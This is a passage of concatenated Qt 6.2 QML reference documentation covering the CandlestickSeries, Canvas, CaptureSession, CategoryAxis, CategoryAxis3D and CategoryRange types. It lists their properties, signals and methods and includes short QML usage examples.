 * **[axisX](qml-qtcharts-candlestickseries#axisX-prop)** : AbstractAxis
* **[axisXTop](qml-qtcharts-candlestickseries#axisXTop-prop)** : AbstractAxis
* **[axisY](qml-qtcharts-candlestickseries#axisY-prop)** : AbstractAxis
* **[axisYRight](qml-qtcharts-candlestickseries#axisYRight-prop)** : AbstractAxis
* **[bodyOutlineVisible](qml-qtcharts-candlestickseries#bodyOutlineVisible-prop)** : bool
* **[bodyWidth](qml-qtcharts-candlestickseries#bodyWidth-prop)** : real
* **[brushFilename](qml-qtcharts-candlestickseries#brushFilename-prop)** : string
* **[capsVisible](qml-qtcharts-candlestickseries#capsVisible-prop)** : bool
* **[capsWidth](qml-qtcharts-candlestickseries#capsWidth-prop)** : real
* **[count](qml-qtcharts-candlestickseries#count-prop)** : int
* **[decreasingColor](qml-qtcharts-candlestickseries#decreasingColor-prop)** : color
* **[increasingColor](qml-qtcharts-candlestickseries#increasingColor-prop)** : color
* **[maximumColumnWidth](qml-qtcharts-candlestickseries#maximumColumnWidth-prop)** : real
* **[minimumColumnWidth](qml-qtcharts-candlestickseries#minimumColumnWidth-prop)** : real

 Signals
-------

 * **[candlestickSetsAdded](qml-qtcharts-candlestickseries#candlestickSetsAdded-signal)**(list<CandlestickSet> *sets*)
* **[candlestickSetsRemoved](qml-qtcharts-candlestickseries#candlestickSetsRemoved-signal)**(list<CandlestickSet> *sets*)
* **[clicked](qml-qtcharts-candlestickseries#clicked-signal)**(CandlestickSet *set*)
* **[doubleClicked](qml-qtcharts-candlestickseries#doubleClicked-signal)**(CandlestickSet *set*)
* **[hovered](qml-qtcharts-candlestickseries#hovered-signal)**(bool *status*, CandlestickSet *set*)
* **[pressed](qml-qtcharts-candlestickseries#pressed-signal)**(CandlestickSet *set*)
* **[released](qml-qtcharts-candlestickseries#released-signal)**(CandlestickSet *set*)

 Methods
-------

 * **[append](qml-qtcharts-candlestickseries#append-method)**(CandlestickSet *set*)
* **[at](qml-qtcharts-candlestickseries#at-method)**(int *index*)
* **[clear](qml-qtcharts-candlestickseries#clear-method)**()
* **[insert](qml-qtcharts-candlestickseries#insert-method)**(int *index*, CandlestickSet *set*)
* **[remove](qml-qtcharts-candlestickseries#remove-method)**(CandlestickSet *set*)

 Detailed Description
--------------------

 The CandlestickSeries type acts as a container for single candlestick items. Each item is drawn to its own category when using [BarCategoryAxis](qml-qtcharts-barcategoryaxis). [DateTimeAxis](qml-qtcharts-datetimeaxis) and [ValueAxis](qml-qtcharts-valueaxis) can be used as an alternative to [BarCategoryAxis](qml-qtcharts-barcategoryaxis). In this case, each candlestick item is drawn according to its timestamp value.

  **Note:** The timestamps must be unique within a CandlestickSeries. When using [BarCategoryAxis](qml-qtcharts-barcategoryaxis), only the first one of the candlestick items sharing a timestamp is drawn. If the chart includes multiple instances of CandlestickSeries, items from different series sharing a timestamp are drawn to the same category. When using [ValueAxis](qml-qtcharts-valueaxis) or [DateTimeAxis](qml-qtcharts-datetimeaxis), candlestick items sharing a timestamp will overlap each other.

  The following QML shows how to create a simple candlestick chart:

 
```
import QtQuick 2.5
import QtCharts 2.2

ChartView {
    title: "Candlestick Series"
    width: 400
    height: 300

    CandlestickSeries {
        name: "Acme Ltd."
        increasingColor: "green"
        decreasingColor: "red"

        CandlestickSet { timestamp: 1435708800000; open: 690; high: 694; low: 599; close: 660 }
        CandlestickSet { timestamp: 1435795200000; open: 669; high: 669; low: 669; close: 669 }
        CandlestickSet { timestamp: 1436140800000; open: 485; high: 623; low: 485; close: 600 }
        CandlestickSet { timestamp: 1436227200000; open: 589; high: 615; low: 377; close: 569 }
        CandlestickSet { timestamp: 1436313600000; open: 464; high: 464; low: 254; close: 254 }
    }
}
```
 ![]


**See also** [CandlestickSet](qml-qtcharts-candlestickset), [BarCategoryAxis](qml-qtcharts-barcategoryaxis), [DateTimeAxis](qml-qtcharts-datetimeaxis), and [ValueAxis](qml-qtcharts-valueaxis).

 Property Documentation
----------------------

 ###  axisX : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series. If you leave both axisX and [axisXTop](qml-qtcharts-candlestickseries#axisXTop-prop) undefined, a value axis is created for the series.

 **See also** [axisXTop](qml-qtcharts-candlestickseries#axisXTop-prop) and [ValueAxis](qml-qtcharts-valueaxis).

 ###  axisXTop : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series, drawn on top of the chart view.

  **Note:** You can only provide either [axisX](qml-qtcharts-candlestickseries#axisX-prop) or axisXTop, not both.

  **See also** [axisX](qml-qtcharts-candlestickseries#axisX-prop).

 ###  axisY : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series. If you leave both axisY and [axisYRight](qml-qtcharts-candlestickseries#axisYRight-prop) undefined, a value axis is created for the series.

 **See also** [axisYRight](qml-qtcharts-candlestickseries#axisYRight-prop) and [ValueAxis](qml-qtcharts-valueaxis).

 ###  axisYRight : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series, drawn to the right on the chart view.

  **Note:** You can only provide either [axisY](qml-qtcharts-candlestickseries#axisY-prop) or axisYRight, not both.

  **See also** [axisY](qml-qtcharts-candlestickseries#axisY-prop).

 ###  bodyOutlineVisible : [bool](qml-bool)

 The visibility of the candlestick body outlines.

 ###  bodyWidth : [real](qml-real)

 The relative width of the candlestick item within its own slot, in the range from 0.0 to 1.0. Values outside this range are clamped to 0.0 or 1.0.

 ###  brushFilename : [string](qml-string)

 The name of the file used as a brush image for the series.

 ###  capsVisible : [bool](qml-bool)

 The visibility of the caps.

 ###  capsWidth : [real](qml-real)

 The relative width of the caps within a candlestick, in the range from 0.0 to 1.0. Values outside this range are clamped to 0.0 or 1.0.

 ###  count : [int](qml-int)

 The number of candlestick items in a series.

 ###  decreasingColor : [color](qml-color)

 The color of the decreasing candlestick item body. A candlestick is *decreasing* when its open value is higher than the close value. By default, this property is set to the brush color with the alpha channel set to 128. The default color is used also when the property is set to an invalid color value.

 ###  increasingColor : [color](qml-color)

 The color of the increasing candlestick item body. A candlestick is *increasing* when its close value is higher than the open value. By default, this property is set to the brush color. The default color is used also when the property is set to an invalid color value.

 ###  maximumColumnWidth : [real](qml-real)

 The maximum width of the candlestick items in pixels. Setting a negative value means there is no maximum width. All negative values are converted to -1.0.

 ###  minimumColumnWidth : [real](qml-real)

 The minimum width of the candlestick items in pixels. Setting a negative value means there is no minimum width. All negative values are converted to -1.0.

 Signal Documentation
--------------------

 ###  candlestickSetsAdded([list](qml-list)<[CandlestickSet](qml-qtcharts-candlestickset)> *sets*)

 This signal is emitted when the candlestick items specified by *sets* are added to the series.

 The corresponding signal handler is `onCandlestickSetsAdded`.

 **Note:** The corresponding handler is `onCandlestickSetsAdded`.

 ###  candlestickSetsRemoved([list](qml-list)<[CandlestickSet](qml-qtcharts-candlestickset)> *sets*)

 This signal is emitted when the candlestick items specified by *sets* are removed from the series.

 The corresponding signal handler is `onCandlestickSetsRemoved`.

 **Note:** The corresponding handler is `onCandlestickSetsRemoved`.

 ###  clicked([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 This signal is emitted when the candlestick item specified by *set* is clicked on the chart.

 The corresponding signal handler is `onClicked`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 This signal is emitted when the candlestick item specified by *set* is double-clicked on the chart.

 The corresponding signal handler is `onDoubleClicked`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  hovered([bool](qml-bool) *status*, [CandlestickSet](qml-qtcharts-candlestickset) *set*)

 This signal is emitted when a mouse is hovered over the candlestick item specified by *set* in a chart.

 When the mouse moves over the item, *status* turns `true`, and when the mouse moves away again, it turns `false`.

 The corresponding signal handler is `onHovered`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 This signal is emitted when the user clicks the candlestick item specified by *set* and holds down the mouse button.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 ###  released([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 This signal is emitted when the user releases the mouse press on the candlestick item specified by *set*.

 The corresponding signal handler is `onReleased`.

 **Note:** The corresponding handler is `onReleased`.

 Method Documentation
--------------------

 ###  append([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 Adds a single candlestick item specified by *set* to the series and takes ownership of it. If the item is null or it is already in the series, it is not appended.

 Returns `true` if appending succeeded, `false` otherwise.

 ###  at([int](qml-int) *index*)

 Returns the candlestick item at the position specified by *index*. Returns null if the index is not valid.

 ###  clear()

 Removes all candlestick items from the series and permanently deletes them.

 ###  insert([int](qml-int) *index*, [CandlestickSet](qml-qtcharts-candlestickset) *set*)

 Inserts the candlestick item specified by *set* to the series at the position specified by *index*. Takes ownership of the item. If the item is null or already belongs to the series, it is not inserted.

 Returns `true` if inserting succeeded, `false` otherwise.

 ###  remove([CandlestickSet](qml-qtcharts-candlestickset) *set*)

 Removes a single candlestick item, specified by *set*, from the series.

 Returns `true` if the item is successfully deleted, `false` otherwise.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-candlestickseries.html>

Canvas QML Type
===============

 Provides a 2D canvas item enabling drawing via JavaScript. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-canvas-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtquick-canvas-obsolete.html)

 Properties
----------

 * **[available](qml-qtquick-canvas#available-prop)** : bool
* **[canvasSize](qml-qtquick-canvas#canvasSize-prop)** : size
* **[context](qml-qtquick-canvas#context-prop)** : object
* **[contextType](qml-qtquick-canvas#contextType-prop)** : string
* **[renderStrategy](qml-qtquick-canvas#renderStrategy-prop)** : enumeration
* **[renderTarget](qml-qtquick-canvas#renderTarget-prop)** : enumeration

 Signals
-------

 * **[imageLoaded](qml-qtquick-canvas#imageLoaded-signal)**()
* **[paint](qml-qtquick-canvas#paint-signal)**(rect *region*)
* **[painted](qml-qtquick-canvas#painted-signal)**()

 Methods
-------

 * **[cancelRequestAnimationFrame](qml-qtquick-canvas#cancelRequestAnimationFrame-method)**(int *handle*)
* object **[getContext](qml-qtquick-canvas#getContext-method)**(string *contextId*, ... *args*)
* **[isImageError](qml-qtquick-canvas#isImageError-method)**(url *image*)
* **[isImageLoaded](qml-qtquick-canvas#isImageLoaded-method)**(url *image*)
* **[isImageLoading](qml-qtquick-canvas#isImageLoading-method)**(url *image*)
* **[loadImage](qml-qtquick-canvas#loadImage-method)**(url *image*)
* **[markDirty](qml-qtquick-canvas#markDirty-method)**(rect *area*)
* int **[requestAnimationFrame](qml-qtquick-canvas#requestAnimationFrame-method)**(*callback*)
* **[requestPaint](qml-qtquick-canvas#requestPaint-method)**()
* bool **[save](qml-qtquick-canvas#save-method)**(string *filename*)
* string **[toDataURL](qml-qtquick-canvas#toDataURL-method)**(string *mimeType*)
* **[unloadImage](qml-qtquick-canvas#unloadImage-method)**(url *image*)

 Detailed Description
--------------------

 The Canvas item allows drawing of straight and curved lines, simple and complex shapes, graphs, and referenced graphic images. It can also add text, colors, shadows, gradients, and patterns, and do low level pixel operations. The Canvas output may be saved as an image file or serialized to a URL.

 Rendering to the Canvas is done using a [Context2D](qml-qtquick-context2d) object, usually as a result of the [paint](qml-qtquick-canvas#paint-signal) signal.

 To define a drawing area in the Canvas item set the `width` and `height` properties. For example, the following code creates a Canvas item which has a drawing area with a height of 100 pixels and width of 200 pixels:

 
```
import QtQuick 2.0
Canvas {
    id: mycanvas
    width: 100
    height: 200
    onPaint: {
        var ctx = getContext("2d");
        ctx.fillStyle = Qt.rgba(1, 0, 0, 1);
        ctx.fillRect(0, 0, width, height);
    }
}
```
 Currently the Canvas item only supports the two-dimensional rendering context.

 Threaded Rendering and Render Target
------------------------------------

 In Qt 6.0 the Canvas item supports one render target: `Canvas.Image`.

 The `Canvas.Image` render target is a *QImage* object. This render target supports background thread rendering, allowing complex or long running painting to be executed without blocking the UI. This is the only render target that is supported by all Qt Quick backends.

 The default render target is Canvas.Image and the default [renderStrategy](qml-qtquick-canvas#renderStrategy-prop) is Canvas.Immediate.

 Pixel Operations
----------------

 All HTML5 2D context pixel operations are supported. In order to ensure improved pixel reading/writing performance the *Canvas.Image* render target should be chosen.

 Tips for Porting Existing HTML5 Canvas Applications
---------------------------------------------------

 Although the Canvas item provides an HTML5-like API, HTML5 canvas applications need to be modified to run in the Canvas item:

 * Replace all DOM API calls with QML property bindings or Canvas item methods.
* Replace all HTML event handlers with the [MouseArea](qml-qtquick-mousearea) item.
* Change setInterval/setTimeout function calls with the [Timer](qml-qtqml-timer) item or the use of [requestAnimationFrame](qml-qtquick-canvas#requestAnimationFrame-method)().
* Place painting code into the `onPaint` handler and trigger painting by calling the [markDirty](qml-qtquick-canvas#markDirty-method)() or [requestPaint](qml-qtquick-canvas#requestPaint-method)() methods.
* To draw images, load them by calling the Canvas's [loadImage](qml-qtquick-canvas#loadImage-method)() method and then request to paint them in the `onImageLoaded` handler.

 Starting Qt 5.4, the Canvas is a [texture provider](qsgtextureprovider) and can be used directly in [ShaderEffects](qml-qtquick-shadereffect) and other classes that consume texture providers.

  **Note:** In general large canvases, frequent updates, and animation should be avoided with the Canvas.Image render target. This is because with accelerated graphics APIs each update will lead to a texture upload. Also, if possible, prefer [QQuickPaintedItem](qquickpainteditem) and implement drawing in C++ via [QPainter](qpainter) instead of the more expensive and likely less performing JavaScript and [Context2D](qml-qtquick-context2d) approach.

  **See also** [Context2D](qml-qtquick-context2d) and [QQuickPaintedItem](qquickpainteditem).

 Property Documentation
----------------------

 ###  available : [bool](qml-bool)

 Indicates when Canvas is able to provide a drawing context to operate on.

 ###  canvasSize : [size](qml-size)

 Holds the logical canvas size that the context paints on.

 By default, the canvas size is the same size as the current canvas item size.

 By setting the canvasSize, tileSize and canvasWindow, the Canvas item can act as a large virtual canvas with many separately rendered tile rectangles. Only those tiles within the current canvas window are painted by the Canvas render engine.

 **See also** [tileSize](https://doc.qt.io/qt-6.2/qml-qtquick-canvas-obsolete.html#tileSize-prop) and [canvasWindow](https://doc.qt.io/qt-6.2/qml-qtquick-canvas-obsolete.html#canvasWindow-prop).

 ###  context : object

 Holds the active drawing context.

 If the canvas is ready and there has been a successful call to [getContext](qml-qtquick-canvas#getContext-method)() or the [contextType](qml-qtquick-canvas#contextType-prop) property has been set with a supported context type, this property will contain the current drawing context, otherwise null.

 ###  contextType : [string](qml-string)

 The type of drawing context to use.

 This property is set to the name of the active context type.

 If set explicitly the canvas will attempt to create a context of the named type after becoming available.

 The type name is the same as used in the [getContext](qml-qtquick-canvas#getContext-method)() call, for the 2d canvas the value will be "2d".

 **See also** [getContext](qml-qtquick-canvas#getContext-method)() and [available](qml-qtquick-canvas#available-prop).

 ###  renderStrategy : [enumeration](qml-enumeration)

 Holds the current canvas rendering strategy.

 * Canvas.Immediate - context will perform graphics commands immediately in the main UI thread.
* Canvas.Threaded - context will defer graphics commands to a private rendering thread.
* Canvas.Cooperative - context will defer graphics commands to the applications global render thread.

 This hint is supplied along with [renderTarget](qml-qtquick-canvas#renderTarget-prop) to the graphics context to determine the method of rendering. A renderStrategy, [renderTarget](qml-qtquick-canvas#renderTarget-prop) or a combination may not be supported by a graphics context, in which case the context will choose appropriate options and Canvas will signal the change to the properties.

 Configuration or runtime tests may cause the QML Scene Graph to render in the GUI thread. Selecting `Canvas.Cooperative`, does not guarantee rendering will occur on a thread separate from the GUI thread.

 The default value is `Canvas.Immediate`.

 **See also** [renderTarget](qml-qtquick-canvas#renderTarget-prop).

 ###  renderTarget : [enumeration](qml-enumeration)

 Holds the current canvas render target.

 * Canvas.Image - render to an in memory image buffer.

 This hint is supplied along with [renderStrategy](qml-qtquick-canvas#renderStrategy-prop) to the graphics context to determine the method of rendering. A [renderStrategy](qml-qtquick-canvas#renderStrategy-prop), renderTarget or a combination may not be supported by a graphics context, in which case the context will choose appropriate options and Canvas will signal the change to the properties.

 The default render target is `Canvas.Image`.

 Signal Documentation
--------------------

 ###  imageLoaded()

 This signal is emitted when an image has been loaded.

 **Note:** The corresponding handler is `onImageLoaded`.

 **See also** [loadImage](qml-qtquick-canvas#loadImage-method)().

 ###  paint([rect](qml-rect) *region*)

 This signal is emitted when the *region* needs to be rendered. If a context is active it can be referenced from the context property.

 This signal can be triggered by markdirty(), [requestPaint](qml-qtquick-canvas#requestPaint-method)() or by changing the current canvas window.

 **Note:** The corresponding handler is `onPaint`.

 ###  painted()

 This signal is emitted after all context painting commands are executed and the Canvas has been rendered.

 **Note:** The corresponding handler is `onPainted`.

 Method Documentation
--------------------

 ###  cancelRequestAnimationFrame([int](qml-int) *handle*)

 This function will cancel the animation callback referenced by *handle*.

 ###  object getContext([string](qml-string) *contextId*, ... *args*)

 Returns a drawing context, or `null` if no context is available.

 The *contextId* parameter names the required context. The Canvas item will return a context that implements the required drawing mode. After the first call to getContext, any subsequent call to getContext with the same contextId will return the same context object. Any additional arguments (*args*) are currently ignored.

 If the context type is not supported or the canvas has previously been requested to provide a different and incompatible context type, `null` will be returned.

 Canvas only supports a 2d context.

 ###  isImageError([url](qml-url) *image*)

 Returns `true` if the *image* failed to load, `false` otherwise.

 **See also** [loadImage](qml-qtquick-canvas#loadImage-method)().

 ###  isImageLoaded([url](qml-url) *image*)

 Returns true if the *image* is successfully loaded and ready to use.

 **See also** [loadImage](qml-qtquick-canvas#loadImage-method)().

 ###  isImageLoading([url](qml-url) *image*)

 Returns true if the *image* is currently loading.

 **See also** [loadImage](qml-qtquick-canvas#loadImage-method)().

 ###  loadImage([url](qml-url) *image*)

 Loads the given *image* asynchronously.

 Once the image is ready, [imageLoaded](qml-qtquick-canvas#imageLoaded-signal)() signal will be emitted. The loaded image can be unloaded with the [unloadImage](qml-qtquick-canvas#unloadImage-method)() method.

  **Note:** Only loaded images can be painted on the Canvas item.

  **See also** [unloadImage](qml-qtquick-canvas#unloadImage-method)(), [imageLoaded](qml-qtquick-canvas#imageLoaded-signal)(), [isImageLoaded](qml-qtquick-canvas#isImageLoaded-method)(), [Context2D::createImageData](qml-qtquick-context2d#createImageData-method)(), and [Context2D::drawImage](qml-qtquick-context2d#drawImage-method)().

 ###  markDirty([rect](qml-rect) *area*)

 Marks the given *area* as dirty, so that when this area is visible the canvas renderer will redraw it. This will trigger the `paint` signal.

 **See also** [paint](qml-qtquick-canvas#paint-signal) and [requestPaint](qml-qtquick-canvas#requestPaint-method)().

 ###  [int](qml-int) requestAnimationFrame(*callback*)

 This function schedules *callback* to be invoked before composing the Qt Quick scene.

 ###  requestPaint()

 Request the entire visible region be re-drawn.

 **See also** [markDirty](qml-qtquick-canvas#markDirty-method)().

 ###  [bool](qml-bool) save([string](qml-string) *filename*)

 Saves the current canvas content into an image file *filename*. The saved image format is automatically decided by the *filename*'s suffix. Returns `true` on success.

  **Note:** Calling this method will force painting the whole canvas, not just the current canvas visible window.

  **See also** [canvasWindow](https://doc.qt.io/qt-6.2/qml-qtquick-canvas-obsolete.html#canvasWindow-prop), [canvasSize](qml-qtquick-canvas#canvasSize-prop), and [toDataURL](qml-qtquick-canvas#toDataURL-method)().

 ###  [string](qml-string) toDataURL([string](qml-string) *mimeType*)

 Returns a data URL for the image in the canvas.

 The default *mimeType* is "image/png".

 **See also** [save](qml-qtquick-canvas#save-method)().

 ###  unloadImage([url](qml-url) *image*)

 Unloads the *image*.

 Once an image is unloaded, it cannot be painted by the canvas context unless it is loaded again.

 **See also** [loadImage](qml-qtquick-canvas#loadImage-method)(), [imageLoaded](qml-qtquick-canvas#imageLoaded-signal)(), [isImageLoaded](qml-qtquick-canvas#isImageLoaded-method)(), [Context2D::createImageData](qml-qtquick-context2d#createImageData-method)(), and [Context2D::drawImage](qml-qtquick-context2d#drawImage-method).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-canvas.html>

CaptureSession QML Type
=======================

 Allows capturing of audio and video content. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtMultimedia |
|  Instantiates: | [QMediaCaptureSession](qmediacapturesession) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtmultimedia-capturesession-members.html)

 Properties
----------

 * **[audioInput](qml-qtmultimedia-capturesession#audioInput-prop)** : AudioInput
* **[audioOutput](qml-qtmultimedia-capturesession#audioOutput-prop)** : AudioOutput
* **[camera](qml-qtmultimedia-capturesession#camera-prop)** : Camera
* **[imageCapture](qml-qtmultimedia-capturesession#imageCapture-prop)** : ImageCapture
* **[recorder](qml-qtmultimedia-capturesession#recorder-prop)** : MediaRecorder
* **[videoOutput](qml-qtmultimedia-capturesession#videoOutput-prop)** : VideoOutput

 Signals
-------

 * **[audioInputChanged](qml-qtmultimedia-capturesession#audioInputChanged-signal)**()
* **[audioOutputChanged](qml-qtmultimedia-capturesession#audioOutputChanged-signal)**()
* **[cameraChanged](qml-qtmultimedia-capturesession#cameraChanged-signal)**()
* **[imageCaptureChanged](qml-qtmultimedia-capturesession#imageCaptureChanged-signal)**()
* **[recorderChanged](qml-qtmultimedia-capturesession#recorderChanged-signal)**()
* **[videoOutputChanged](qml-qtmultimedia-capturesession#videoOutputChanged-signal)**()

 Detailed Description
--------------------

 This is the central type that manages capturing of media on the local device.

 Connect a camera and a microphone to a CaptureSession by assigning Camera and [AudioInput](qml-qtmultimedia-audioinput) objects to the relevant properties.

 Enable a preview of the captured media by assigning a [VideoOutput](qml-qtmultimedia-videooutput) element to the [videoOutput](qml-qtmultimedia-capturesession#videoOutput-prop) property.

 Route audio to an output device by assigning an [AudioOutput](qml-qtmultimedia-audiooutput) object to the [audioOutput](qml-qtmultimedia-capturesession#audioOutput-prop) property.

 Capture still images from a camera by assigning an [ImageCapture](qml-qtmultimedia-imagecapture) to the [imageCapture](qml-qtmultimedia-capturesession#imageCapture-prop) property.

 Record audio/video by assigning a [MediaRecorder](qml-qtmultimedia-mediarecorder) to the recorder property.

 
```
CaptureSession {
    id: captureSession
    camera: Camera {
        id: camera
    }
    imageCapture: ImageCapture {
        id: imageCapture
    }

    recorder: MediaRecorder {
        id: recorder
    }
    videoOutput: preview
}
```
 **See also** [Camera](qml-qtmultimedia-camera), [MediaDevices](qml-qtmultimedia-mediadevices), [MediaRecorder](qml-qtmultimedia-mediarecorder), [ImageCapture](qml-qtmultimedia-imagecapture), [AudioInput](qml-qtmultimedia-audioinput), and [VideoOutput](qml-qtmultimedia-videooutput).

 Property Documentation
----------------------

 ###  audioInput : [AudioInput](qml-qtmultimedia-audioinput)

 This property holds the audio input that is being used to capture audio.

 ###  audioOutput : [AudioOutput](qml-qtmultimedia-audiooutput)

 The audio output device for the capture session.

 ###  camera : [Camera](qml-qtmultimedia-camera)

 The camera used to capture video.

 Record video or take images by adding a camera to the capture session using this property.

 ###  imageCapture : [ImageCapture](qml-qtmultimedia-imagecapture)

 The object used to capture still images.

 Add an [ImageCapture](qml-qtmultimedia-imagecapture) interface to the capture session to enable capturing of still images from the camera.

 ###  recorder : [MediaRecorder](qml-qtmultimedia-mediarecorder)

 The recorder object used to capture audio/video.

 Add a MediaRcorder object to the capture session to enable recording of audio and/or video from the capture session.

 ###  videoOutput : [VideoOutput](qml-qtmultimedia-videooutput)

 The [VideoOutput](qml-qtmultimedia-videooutput) that is the video preview for the capture session.

 A [VideoOutput](qml-qtmultimedia-videooutput) based preview is expected to have an invokable videoSink() method that returns a [QVideoSink](qvideosink).

 The previously set preview is detached.

 Signal Documentation
--------------------

 ###  audioInputChanged()

 This signal is emitted when an audio input has changed.

 **Note:** The corresponding handler is `onAudioInputChanged`.

 **See also** [CaptureSession::audioInput](qml-qtmultimedia-capturesession#audioInput-prop).

 ###  audioOutputChanged()

 This signal is emitted when the selected audio output has changed.

 **Note:** The corresponding handler is `onAudioOutputChanged`.

 **See also** [CaptureSession::audioOutput](qml-qtmultimedia-capturesession#audioOutput-prop).

 ###  cameraChanged()

 This signal is emitted when the selected camera has changed.

 **Note:** The corresponding handler is `onCameraChanged`.

 **See also** [CaptureSession::camera](qml-qtmultimedia-capturesession#camera-prop).

 ###  imageCaptureChanged()

 This signal is emitted when the selected interface has changed.

 **Note:** The corresponding handler is `onImageCaptureChanged`.

 **See also** [CaptureSession::camera](qml-qtmultimedia-capturesession#camera-prop).

 ###  recorderChanged()

 This signal is emitted when the selected recorder has changed.

 **Note:** The corresponding handler is `onRecorderChanged`.

 **See also** [CaptureSession::recorder](qml-qtmultimedia-capturesession#recorder-prop).

 ###  videoOutputChanged()

 This signal is emitted when the selected video output has changed.

 **Note:** The corresponding handler is `onVideoOutputChanged`.

 **See also** [CaptureSession::videoOutput](qml-qtmultimedia-capturesession#videoOutput-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtmultimedia-capturesession.html>

CategoryAxis QML Type
=====================

 CategoryAxis places named ranges on the axis. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QCategoryAxis](qcategoryaxis) |
|  Inherits: | [AbstractAxis](qml-qtcharts-abstractaxis) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-categoryaxis-members.html)

 Properties
----------

 * **[categoriesLabels](qml-qtcharts-categoryaxis#categoriesLabels-prop)** : StringList
* **[count](qml-qtcharts-categoryaxis#count-prop)** : int
* **[labelsPosition](qml-qtcharts-categoryaxis#labelsPosition-prop)** : enumeration
* **[startValue](qml-qtcharts-categoryaxis#startValue-prop)** : int

 Methods
-------

 * **[append](qml-qtcharts-categoryaxis#append-method)**(string *label*, real *endValue*)
* **[remove](qml-qtcharts-categoryaxis#remove-method)**(string *label*)
* **[replace](qml-qtcharts-categoryaxis#replace-method)**(string *oldLabel*, string *newLabel*)

 Detailed Description
--------------------

 This type can be used to explain the underlying data by adding labeled categories. The widths of the category ranges can be specified freely.

 For example:

 ![]



```
ChartView {
    title: "Numerical Data for Dummies"
    anchors.fill: parent
    legend.visible: false
    antialiasing: true

    LineSeries {
        axisY: CategoryAxis {
            min: 0
            max: 30
            CategoryRange {
                label: "critical"
                endValue: 2
            }
            CategoryRange {
                label: "low"
                endValue: 4
            }
            CategoryRange {
                label: "normal"
                endValue: 7
            }
            CategoryRange {
                label: "high"
                endValue: 15
            }
            CategoryRange {
                label: "extremely high"
                endValue: 30
            }
        }

        XYPoint { x: 0; y: 4.3 }
        XYPoint { x: 1; y: 4.1 }
        XYPoint { x: 2; y: 4.7 }
        XYPoint { x: 3; y: 3.9 }
        XYPoint { x: 4; y: 5.2 }
    }
}
```
 Property Documentation
----------------------

 ###  categoriesLabels : StringList

 The category labels as a list of strings.

 ###  count : [int](qml-int)

 The number of categories.

 ###  labelsPosition : [enumeration](qml-enumeration)

 The position of the category labels. The labels in the beginning and in the end of the axes may overlap other axes' labels when positioned on value.

 

| Constant | Description |
| --- | --- |
| `CategoryAxis.AxisLabelsPositionCenter` | Labels are centered to category. |
| `CategoryAxis.AxisLabelsPositionOnValue` | Labels are positioned to the high end limit of the category. |

 ###  startValue : [int](qml-int)

 The low end of the first category on the axis.

 Method Documentation
--------------------

 ###  append([string](qml-string) *label*, [real](qml-real) *endValue*)

 Appends a new category to the axis with the label *label*. A category label has to be unique. *endValue* specifies the high end limit of the category. It has to be greater than the high end limit of the previous category. Otherwise the method returns without adding a new category.

 ###  remove([string](qml-string) *label*)

 Removes a category specified by the label *label* from the axis.

 ###  replace([string](qml-string) *oldLabel*, [string](qml-string) *newLabel*)

 Replaces an existing category label specified by *oldLabel* with *newLabel*. If the old label does not exist, the method returns without making any changes.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-categoryaxis.html>

CategoryAxis3D QML Type
=======================

 Manipulates an axis of a graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QCategory3DAxis](qcategory3daxis) |
|  Inherits: | [AbstractAxis3D](qml-qtdatavisualization-abstractaxis3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-categoryaxis3d-members.html)

 Properties
----------

 * **[labels](qml-qtdatavisualization-categoryaxis3d#labels-prop)** : list

 Detailed Description
--------------------

 This type provides an axis that can be given labels.

 Property Documentation
----------------------

 ###  labels : [list](qml-list)

 The labels for the axis applied to categories. If there are fewer labels than categories, the remaining ones do not have a label. If category labels are not defined explicitly, labels are generated from the data row (or column) labels of the primary series of the graph.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-categoryaxis3d.html>

CategoryRange QML Type
======================

 Defines a range on a category axis. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-categoryrange-members.html)

 Properties
----------

 * **[endValue](qml-qtcharts-categoryrange#endValue-prop)** : int
* **[label](qml-qtcharts-categoryrange#label-prop)** : string

 Detailed Description
--------------------

 The CategoryRange type is used together with the [CategoryAxis](qml-qtcharts-categoryaxis) type to specify labeled ranges on category axes. The widths of the category ranges can be specified freely.

 **See also** [CategoryAxis](qml-qtcharts-categoryaxis).

 Property Documentation
----------------------

 ###  endValue : [int](qml-int)

 The high end of the category.

